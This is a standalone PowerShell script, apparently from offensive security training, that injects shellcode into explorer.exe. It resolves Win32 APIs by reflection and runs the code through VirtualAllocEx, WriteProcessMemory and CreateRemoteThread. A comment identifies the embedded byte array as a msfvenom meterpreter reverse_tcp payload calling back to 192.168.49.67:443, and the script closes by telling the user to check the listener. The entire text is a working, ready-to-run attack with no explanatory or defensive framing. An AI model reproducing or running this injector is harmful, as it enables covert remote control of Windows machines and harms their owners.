function LookupFunc { Param ($moduleName, $functionName) $assem = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1]. Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') $tmp=@() $assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}} return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName)) } function getDelegateType { Param ( [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func, [Parameter(Position = 1)] [Type] $delType = [Void] ) $type = [AppDomain]::CurrentDomain. DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run). DefineDynamicModule('InMemoryModule', $false). DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) $type. DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $func). SetImplementationFlags('Runtime, Managed') $type. DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func). SetImplementationFlags('Runtime, Managed') return $type.CreateType() } $procId = (Get-Process explorer).Id # msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.49.67 LPORT=443 EXITFUNC=thread -f ps1 [Byte[]] $buf = 0xeb,0x27,0x5b,0x53,0x5f,0xb0,0x13,0xfc,0xae,0x75,0xfd,0x57,0x59,0x53,0x5e,0x8a,0x6,0x30,0x7,0x48,0xff,0xc7,0x48,0xff,0xc6,0x66,0x81,0x3f,0x94,0xc6,0x74,0x7,0x80,0x3e,0x13,0x75,0xea,0xeb,0xe6,0xff,0xe1,0xe8,0xd4,0xff,0xff,0xff,0x11,0x16,0x12,0x10,0x50,0x13,0xfa,0x31,0x49,0x43,0xf,0xa1,0x86,0xee,0xbe,0x25,0xec,0x41,0x4b,0x43,0xe,0x9b,0x10,0x22,0x17,0x18,0xee,0xd1,0x5a,0xef,0x96,0x77,0x97,0x2d,0x16,0x5c,0x65,0x11,0x92,0x2e,0xc0,0x64,0xfc,0xf9,0xf6,0xaf,0xf0,0xfe,0xc6,0xef,0xaf,0xee,0x4,0x2,0xb,0x41,0x7,0x86,0xeb,0x27,0x10,0x53,0x5f,0xb0,0x26,0xb7,0xae,0x75,0xfd,0x57,0x12,0x53,0x5e,0x8a,0x6,0x7b,0x7,0x48,0xff,0xc7,0x3,0xff,0xc6,0x66,0x81,0x74,0x38,0x44,0x74,0x7,0xcb,0x3e,0x26,0x75,0xea,0xa0,0xe6,0xff,0xe1,0xe8,0x9f,0xff,0xff,0xff,0x1b,0xc3,0x16,0x12,0x10,0x26,0xbb,0xaf,0x4d,0x41,0x4f,0xe0,0xae,0xea,0xbc,0x65,0xad,0xdf,0x4f,0x41,0x4e,0xda,0x8e,0x26,0x15,0x58,0xaf,0x4f,0x5e,0xed,0xd6,0x36,0x9,0x29,0xee,0x51,0x24,0x8f,0x96,0x2c,0x36,0x25,0x62,0xfd,0xf4,0xef,0xb1,0x60,0xc2,0xed,0xef,0xaf,0x9e,0x35,0x5d,0xb,0x57,0xae,0xeb,0x16,0x4,0x18,0xd0,0xb0,0x41,0xa3,0xe5,0xfa,0xfd,0x66,0x6,0x18,0xd1,0x8a,0x37,0x6f,0x4c,0xc7,0xff,0xf6,0x17,0xb4,0x49,0x66,0xb0,0x60,0xc8,0xda,0x74,0x36,0xdf,0x75,0xff,0x75,0xdb,0xb4,0xad,0x70,0xe1,0xd9,0x8b,0xb4,0x70,0xff,0x25,0x5c,0x43,0x8c,0x70,0xce,0x7b,0x18,0xdf,0x4b,0x82,0x47,0xb4,0x35,0x76,0xc4,0xb,0x6,0xdf,0x56,0xb8,0x4d,0x78,0x80,0x4b,0xda,0x9b,0xb,0x73,0xd2,0x54,0xd6,0x77,0x29,0x29,0x4d,0x5b,0xdf,0xb2,0x18,0x47,0xa1,0xa3,0x61,0xfc,0xc4,0xb4,0x97,0x73,0xe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3,0xbc,0x44,0xc4,0xda,0x61,0x7a,0xb3,0x23,0xe4,0x49,0x2c,0xd5,0x79,0xb2,0x8b,0xa6,0x5,0x5c,0xf2,0x1b,0x2c,0xed,0x62,0xb2,0x7f,0x48,0xae,0x59,0xea,0xb1,0x3d,0x63,0xf8,0x66,0xe2,0x7d,0x63,0x91,0x63,0x49,0xef,0x98,0xcc,0x57,0x8b,0x91,0x55,0xf6,0xf6,0x84,0xb9,0x61,0xdb,0xe7,0x73,0x45,0xa9,0xc3,0xf4,0x6c,0x2e,0xfd,0x64,0x88,0x7f,0x83,0x7,0x74,0xef,0x21,0x3c,0xc8,0x60,0x9a,0x62,0x72,0xbe,0x7c,0xe8,0x99,0x20,0x59,0xe8,0x43,0xe0,0x55,0xc0,0x7e,0x73,0x6c,0xed,0xb0,0x35,0x6d,0x9b,0xb4,0x57,0xde,0xeb,0xbe,0xa9,0x44,0xd9,0xcf,0x78,0x63,0xb7,0xfb,0x29,0x21,0x22,0xdd,0x87,0x9c,0x84,0xe0,0xd8,0xd0,0x49,0x16,0x27,0xf4,0xb0,0x3a,0x58,0x7c,0xe0,0xfa,0xd4,0x3a,0x9b,0x59,0x59,0x95,0x5a,0x69,0x31,0x44,0x11,0xda,0x57,0x3f,0x5a,0xcb,0x8b,0x88,0x4a,0xec,0xee,0xbb,0x93,0x75,0xdd,0x1d,0x74,0xc6,0x5a,0x6,0x51,0x5,0x22,0xb,0x20,0xcc,0xd2,0x17,0x5c,0x43,0x56,0x2d,0x2e,0xc,0x30,0x35,0x7e,0x2,0x53,0xee,0x57,0xb4,0xb3,0xc8,0xba,0x7,0x3f,0x8a,0xdd,0x6,0x92,0x48,0x63,0xee,0xd4,0xfb,0x82,0xbd,0x58,0xdc,0xc3,0xa1,0x97,0x59,0x2a,0x24,0x67,0x85,0x92,0x56,0x55,0x30,0xdc,0x41,0xde,0xb2,0x5,0xa6,0xe7,0x7c,0x58,0xc,0xf6,0xb9,0x17,0x33,0x35,0x99,0x67,0x58,0x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0xc4,0x9f,0x1d,0x34,0x3e,0x7a,0x38,0x26,0xf7,0x55,0xcc,0x74,0x95,0x3c,0xd1,0xaa,0xec,0xab,0x13,0x50,0x19,0x2f,0x29,0xd9,0x67,0xee,0x88,0xfb,0xb5,0x58,0x12,0x4d,0x9a,0xd2,0xcb,0x2e,0xd8,0x5d,0x5a,0x5,0x51,0x6e,0xb5,0x79,0x62,0xc8,0x4d,0x32,0x71,0x9,0x92,0xab,0xea,0x2f,0x4a,0x21,0x9,0xf2,0x62,0x3d,0x8c,0x3e,0x8c,0xf5,0x76,0x85,0xb1,0xe7,0x9b,0xde,0x38,0x89,0x55,0x70,0x8a,0xab,0x5,0x10,0xd0,0x1e,0x92,0x86,0x5f,0xe8,0x63,0xee,0xbe,0xd0,0x1f,0x55,0x3d,0x27,0x14,0xcf,0x56,0xeb,0xa8,0xf6,0x88,0x9d,0xf5,0x1a,0xd4,0xdf,0xf6,0xf7,0xa4,0xc6,0x10,0x40,0x92,0xb0,0xf5,0xc0,0xe3,0xec,0x59,0xa2,0x2f,0x44,0xc6,0x9f,0xad,0x7d,0xb7,0x98,0x3c,0x9e,0xdb,0x76,0x74,0x37,0xcd,0x70,0x8a,0x93,0x5,0x10,0x38,0xc8,0x85,0x39,0x5f,0xe8,0xa8,0x9f,0x79,0xc4,0x5a,0x5c,0xe6,0xaf,0xbd,0x73,0x97,0x94,0x3b,0xf7,0x73,0x5d,0x38,0x6e,0xa5,0x20,0x23,0x33,0x3c,0xfa,0x93,0xfb,0x25,0x4f,0x49,0x64,0xb1,0x27,0xfd,0xf1,0xca,0xf3,0x90,0x3b,0x34,0xf6,0x77,0xf3,0xb6,0xe2,0x23,0xd5,0x39,0xff,0x65,0x70,0x8a,0xb0,0xc,0x23,0xc3,0x50,0xf7,0x64,0x79,0xf5,0x74,0x98,0xac,0x39,0xf7,0x14,0x18,0x43,0xc5,0x6c,0x49,0x3b,0x39,0xb7,0x72,0x4,0x50,0x2f,0xed,0x4a,0x23,0x28,0x25,0x8,0x11,0x26,0x62,0x4e,0x7f,0xf0,0x5c,0x26,0x18,0x18,0x5a,0x62,0x8,0x12,0x42,0xe0,0x77,0x85,0xbf,0x46,0x2e,0xe3,0x8f,0x89,0xdd,0x39,0xc0,0x22,0x6d,0x6c,0x72,0x94,0xbb,0x13,0x14,0x7c,0xd4,0x80,0x21,0xd0,0xf,0x4d,0xde,0x8b,0x80,0x7,0x14,0x23,0xd8,0x6d,0xcd,0xd1,0x50,0x2d,0xc0,0xe3,0x75,0x33,0xdd,0x7a,0x48,0x1a,0x20,0x90,0xb0,0xb6,0x64,0x13,0x90,0x9,0xf7,0xb5,0xec,0xdf,0x58,0x5f,0x23,0x8,0xa2,0x9b,0x7a,0x4d,0x24,0xed,0xdc,0x80,0xe4,0x22,0xed,0xa6,0x83,0x64,0xec,0x11,0x38,0x44,0x14,0x1c,0x94,0xc6 # C#: IntPtr hProcess = OpenProcess(ProcessAccessFlags.All, false, procId); $hProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll OpenProcess), (getDelegateType @([UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke(0x001F0FFF, 0, $procId) # C#: IntPtr expAddr = VirtualAllocEx(hProcess, IntPtr.Zero, (uint)len, AllocationType.Commit | AllocationType.Reserve, MemoryProtection.ExecuteReadWrite); $expAddr = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAllocEx), (getDelegateType @([IntPtr], [IntPtr], [UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke($hProcess, [IntPtr]::Zero, [UInt32]$buf.Length, 0x3000, 0x40) # C#: bool procMemResult = WriteProcessMemory(hProcess, expAddr, buf, len, out bytesWritten); $procMemResult = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WriteProcessMemory), (getDelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [IntPtr])([Bool]))).Invoke($hProcess, $expAddr, $buf, [Uint32]$buf.Length, [IntPtr]::Zero) # C#: IntPtr threadAddr = CreateRemoteThread(hProcess, IntPtr.Zero, 0, expAddr, IntPtr.Zero, 0, IntPtr.Zero); [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateRemoteThread), (getDelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [UInt32], [IntPtr]))).Invoke($hProcess, [IntPtr]::Zero, 0, $expAddr, 0, [IntPtr]::Zero) Write-Host "Injected! Check your listener!"